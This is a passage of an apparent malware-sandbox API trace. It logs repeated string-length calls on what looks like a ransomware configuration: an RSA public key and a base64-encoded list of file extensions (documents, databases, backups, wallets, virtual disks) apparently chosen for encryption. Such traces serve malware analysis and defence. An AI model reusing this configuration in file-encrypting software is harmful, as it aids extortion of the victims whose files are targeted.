5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.464] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYi